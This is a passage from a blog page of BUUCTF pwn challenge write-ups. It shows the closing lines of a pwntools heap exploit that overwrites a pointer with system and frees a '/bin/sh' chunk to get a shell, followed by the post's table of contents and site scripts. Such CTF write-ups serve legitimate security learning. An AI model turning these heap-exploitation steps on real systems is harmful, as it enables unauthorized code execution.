class="built_in">next</span>()</span><br><span class="line"></span><br><span class="line">payload = p64(system)</span><br><span class="line">fill(<span class="number">1</span>,payload)</span><br><span class="line"></span><br><span class="line">fill(<span class="number">4</span>,<span class="string">&#x27;/bin/sh\x00&#x27;</span>)</span><br><span class="line">free(<span class="number">4</span>)</span><br><span class="line"></span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure>






                                                                    </div>
                                                                    
                                                                        <div class="prev-or-next">
                                                                            <div class="post-foot-next">
                                                                                
                                                                                    <a href="/2021/07/11/BUU-PWN-0x20-0x2F/" target="_self">
                                                                                        <i class="iconfont icon-chevronleft"></i>
                                                                                        <span>Prev</span>
                                                                                    </a>
                                                                                    
                                                                            </div>
                                                                            <div class="post-attach">
                                                                                <!-- <span class="post-pubtime">
              <i class="iconfont icon-updatetime" title="Update time"></i>
              2021-07-18
            </span> -->

                                                                                
                                                                                            <span class="post-categories">
          <!-- <i class="iconfont icon-bookmark" title="Categories"></i> -->
          
          <!-- <span class="span--category">
            <a href="/categories/Technology/" title="Technology">
              <b>#</b> Technology
            </a>
          </span> -->
                                                                                            
                                                                                                </span>
                                                                                                
                                                                                    <span class="post-tags">
          <!-- <i class="iconfont icon-tags" title="Tags"></i> -->
          
          <!-- <span class="span--tag">
            <a href="/tags/PWN/" title="PWN">
              <b>#</b> PWN
            </a>
          </span> -->
                                                                                    
                                                                                        </span>
                                                                                        
                                                                            </div>
                                                                            <div class="post-foot-prev">
                                                                                
                                                                                    <a href="/2021/08/08/pwn%E5%B0%8F%E6%80%BB%E7%BB%93/" target="_self">
                                                                                        <span>Next</span>
                                                                                        <i class="iconfont icon-chevronright"></i>
                                                                                    </a>
                                                                                    
                                                                            </div>
                                                                        </div>
                                                                        
                                                                </div>
                                                                
  <div id="btn-catalog" class="btn-catalog">
    <i class="iconfont icon-catalog"></i>
  </div>
  <div class="post-catalog hidden" id="catalog">
    <div class="title">Contents</div>
    <div class="catalog-content">
      
        <ol class="toc"><li class="toc-item toc-level-1"><a class="toc-link" href="#0x30-jarvisoj-level1"><span class="toc-text">0x30.jarvisoj_level1</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#0x31-inndy-rop"><span class="toc-text">0x31.inndy_rop</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E8%A7%A3%E6%B3%95%E4%B8%80%EF%BC%9AROP"><span class="toc-text">解法一：ROP</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E8%A7%A3%E6%B3%95%E4%BA%8C%EF%BC%9Amprotect"><span class="toc-text">解法二：mprotect</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E8%A7%A3%E6%B3%95%E4%B8%89%EF%BC%9Asyscall"><span class="toc-text">解法三：syscall</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E8%A7%A3%E6%B3%95%E5%9B%9B%EF%BC%9Aorw"><span class="toc-text">解法四：orw</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#0x32-roarctf-2019-easy-pwn"><span class="toc-text">0x32.roarctf_2019_easy_pwn</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#0x33-gyctf-2020-borrowstack"><span class="toc-text">0x33.gyctf_2020_borrowstack</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#0x34-axb-2019-fmt32"><span class="toc-text">0x34.axb_2019_fmt32</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#0x35-others-babystack"><span class="toc-text">0x35.others_babystack</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#0x36-pwnable-start"><span class="toc-text">0x36.pwnable_start</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#0x37-mrctf2020-easyoverflow"><span class="toc-text">0x37.mrctf2020_easyoverflow</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#0x38-wustctf2020-getshell-2"><span class="toc-text">0x38.wustctf2020_getshell_2</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#0x39-hitcontraining-magicheap"><span class="toc-text">0x39.hitcontraining_magicheap</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#0x3A-ciscn-2019-s-4"><span class="toc-text">0x3A.ciscn_2019_s_4</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#0x3B-0ctf-2017-babyheap"><span class="toc-text">0x3B.0ctf_2017_babyheap</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#0x3C-hitcontraining-heapcreator"><span class="toc-text">0x3C.hitcontraining_heapcreator</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#0x3D-wustctf2020-closed"><span class="toc-text">0x3D.wustctf2020_closed</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#0x3E-ciscn-2019-es-7%EF%BC%88SROP%EF%BC%89"><span class="toc-text">0x3E.ciscn_2019_es_7（SROP）</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#0x3F-hitcon2014-stkof-unlink"><span class="toc-text">0x3F.hitcon2014_stkof(unlink)</span></a></li></ol>
      
    </div>
  </div>

  
<script src="/js/catalog.js"></script>




                                                                    
                                                                        <div class="comments-container">
                                                                            







                                                                        </div>
                                                                        
                                                            </div>
                                                            
        
<div class="footer">
  <div class="social">
    <ul>
      
        <li>
          <a title="github" target="_blank" rel="noopener" href="https://github.com/Ghostasky">
            <i class="iconfont icon-github"></i>
          </a>
        </li>
      
        <li>
          <a title="twitter" target="_blank" rel="noopener" href="https://twitter.com/ghostasky">
            <i class="iconfont icon-twitter"></i>
          </a>
        </li>
      
    </ul>
  </div>
  
    
    <div class="footer-more">
      
        <a target="_blank" rel="noopener" href="https://github.com/Ghostasky">怕什么真理无穷，进一寸有进一寸的欢喜。</a>
        
    </div>
  
    
    <div class="footer-more">
      
        <a target="_blank" rel="noopener" href="https://github.com/zchengsite/hexo-theme-oranges">Copyright © 2022 Oranges</a>
        
    </div>
  
    
    <div class="footer-more">
      
        <a target="_blank" rel="noopener" href="https://github.com/zchengsite/hexo-theme-oranges">Theme by Oranges | Powered by Hexo</a>
        
    </div>
  
</div>

      </div>

      <div class="tools-bar">
        <div class="back-to-top tools-bar-item hidden">
  <a href="javascript: void(0)">
    <i class="iconfont icon-chevronup"></i>
  </a>
</div>


<script src="/js/backtotop.js"></script>



        
  <div class="search-icon tools-bar-item" id="search-icon">
    <a href="javascript: void(0)">
      <i class="iconfont icon-search"></i>
    </a>
  </div>

  <div class="search-overlay hidden">
    <div class="search-content" tabindex="0">
      <div class="search-title">
        <span class="search-icon-input">
          <a href="javascript: void(0)">
            <i class="iconfont icon-search"></i>
          </a>
        </span>
        
          <input type="text" class="search-input" id="search-input" placeholder="Search...">
        
        <span class="search-close-icon" id="search-close-icon">
          <a href="javascript: void(0)">
            <i class="iconfont icon-close"></i>
          </a>
        </span>
      </div>
      <div class="search-result" id="search-result"></div>
    </div>
  </div>

  <script type="text/javascript">
    var inputArea = document.querySelector("#search-input")
    var searchOverlayArea = document.querySelector(".search-overlay")

    inputArea.onclick = function() {
      getSearchFile()
      this.onclick = null
    }

    inputArea.onkeydown = function() {
      if(event.keyCode == 13)
        return false
    }

    function openOrHideSearchContent() {
      let isHidden = searchOverlayArea.classList.contains('hidden')
      if (isHidden) {
        searchOverlayArea.classList.remove('hidden')
        document.body.classList.add('hidden')
        // inputArea.focus()
      } else {
        searchOverlayArea.classList.add('hidden')
        document.body.classList.remove('hidden')
      }
    }

    function blurSearchContent(e) {
      if (e.target === searchOverlayArea) {
        openOrHideSearchContent()
      }
    }

    document.querySelector("#search-icon").addEventListener("click", openOrHideSearchContent, false)
    document.querySelector("#search-close-icon").addEventListener("click", openOrHideSearchContent, false)
    searchOverlayArea.addEventListener("click", blurSearchContent, false)

    var searchFunc = function (path, search_id, content_id) {
      'use strict';
      var $input = document.getElementById(search_id);
      var $resultContent = document.getElementById(content_id);
      $resultContent.innerHTML = "<ul><span class='local-search-empty'>First search, index file loading, please wait...<span></ul>";
      $.ajax({
        // 0x01. load xml file
        url: path,
        dataType: "xml",
        success: function (xmlResponse) {
          // 0x02. parse xml file
          var datas = $("entry", xmlResponse).map(function () {
            return {
              title: $("title", this).text(),
              content: $("content", this).text(),
              url: $("url", this).text()
            };
          }).get();
          $resultContent.innerHTML = "";

          $input.addEventListener('input', function () {
            // 0x03. parse query to keywords list
            var str = '<ul class=\"search-result-list\">';
            var keywords = this.value.trim().toLowerCase().split(/[\s\-]+/);
            $resultContent.innerHTML = "";
            if (this.value.trim().length <= 0) {
              return;
            }
            // 0x04. perform local searching
            datas.forEach(function (data) {
              var isMatch = true;
              var content_index = [];
              if (!data.title || data.title.trim() === '') {
                data.title = "Untitled";
              }
              var orig_data_title = data.title.trim();
              var data_title = orig_data_title.toLowerCase();
              var orig_data_content = data.content.trim().replace(/<[^>]+>/g, "");
              var data_content = orig_data_content.toLowerCase();
              var data_url = data.url;
              var index_title = -1;
              var index_content = -1;
              var first_occur = -1;
              // only match artiles with not empty contents
              if (data_content !== '') {
                keywords.forEach(function (keyword, i) {
                  index_title = data_title.indexOf(keyword);
                  index_content = data_content.indexOf(keyword);

                  if (index_title < 0 && index_content < 0) {
                    isMatch = false;
                  } else {
                    if (index_content < 0) {
                      index_content = 0;
                    }
                    if (i == 0) {
                      first_occur = index_content;
                    }
                    // content_index.push({index_content:index_content, keyword_len:keyword_len});
                  }
                });
              } else {
                isMatch = false;
              }
              // 0x05. show search results
              if (isMatch) {
                str += "<li><a href='" + data_url + "' class='search-result-title'>" + orig_data_title + "</a>";
                var content = orig_data_content;
                if (first_occur >= 0) {
                  // cut out 100 characters
                  var start = first_occur - 20;
                  var end = first_occur + 80;

                  if (start < 0) {
                    start = 0;
                  }

                  if (start == 0) {
                    end = 100;
                  }

                  if (end > content.length) {
                    end = content.length;
                  }

                  var match_content = content.substr(start, end);

                  // highlight all keywords
                  keywords.forEach(function (keyword) {
                    var regS = new RegExp(keyword, "gi");
                    match_content = match_content.replace(regS, "<span class=\"search-keyword\">" + keyword + "</span>");
                  });

                  str += "<p class=\"search-result-abstract\">" + match_content + "...</p>"
                }
                str += "</li>";
              }
            });
            str += "</ul>";
            if (str.indexOf('<li>') === -1) {
              return $resultContent.innerHTML = "<ul><span class='local-search-empty'>No result<span></ul>";
            }
            $resultContent.innerHTML = str;
          });
        },
        error: function(xhr, status, error) {
          $resultContent.innerHTML = ""
          if (xhr.status === 404) {
            $resultContent.innerHTML = "<ul><span class='local-search-empty'>The search.xml file was not found, please refer to：<a href='https://github.com/zchengsite/hexo-theme-oranges#configuration' target='_black'>configuration</a><span></ul>";
          } else {
            $resultContent.innerHTML = "<ul><span class='local-search-empty'>The request failed, Try to refresh the page or try again later.<span></ul>";
          }
        }
      });
      $(document).on('click', '#search-close-icon', function() {
        $('#search-input').val('');
        $('#search-result').html('');
      });
    }

    var getSearchFile = function() {
        var path = "/search.xml";
        searchFunc(path, 'search-input', 'search-result');
    }
  </script>




        
  <div class="tools-bar-item theme-icon" id="switch-color-scheme">
    <a href="javascript: void(0)">
      <i id="theme-icon" class="iconfont icon-moon"></i>
    </a>
  </div>

  
<script src="/js/colorscheme.js"></script>





        
  
    <div class="share-icon tools-bar-item">
      <a href="javascript: void(0)" id="share-icon">
        <i class="iconfont iconshare"></i>
      </a>
      <div class="share-content hidden">
        
          <a class="share-item" href="https://twitter.com/intent/tweet?text=' + BUU_PWN%E5%88%B7%E9%A2%98_0x30-0x3F + '&url=' + https%3A%2F%2Fghostasky.github.io%2F2021%2F07%2F18%2FBUU-PWN-0x30-0x3f%2F + '" target="_blank" title="Twitter">
            <i class="iconfont icon-twitter"></i>
          </a>
        
        
          <a class="share-item" href="https://www.facebook.com/sharer.php?u=https://ghostasky.github.io/2021/07/18/BUU-PWN-0x30-0x3f/" target="_blank" title="Facebook">
            <i class="iconfont icon-facebooksquare"></i>
          </a>
        
      </div>
    </div>
  
  
<script src="/js/shares.js"></script>



      </div>
    </div>
  </body>
</html>
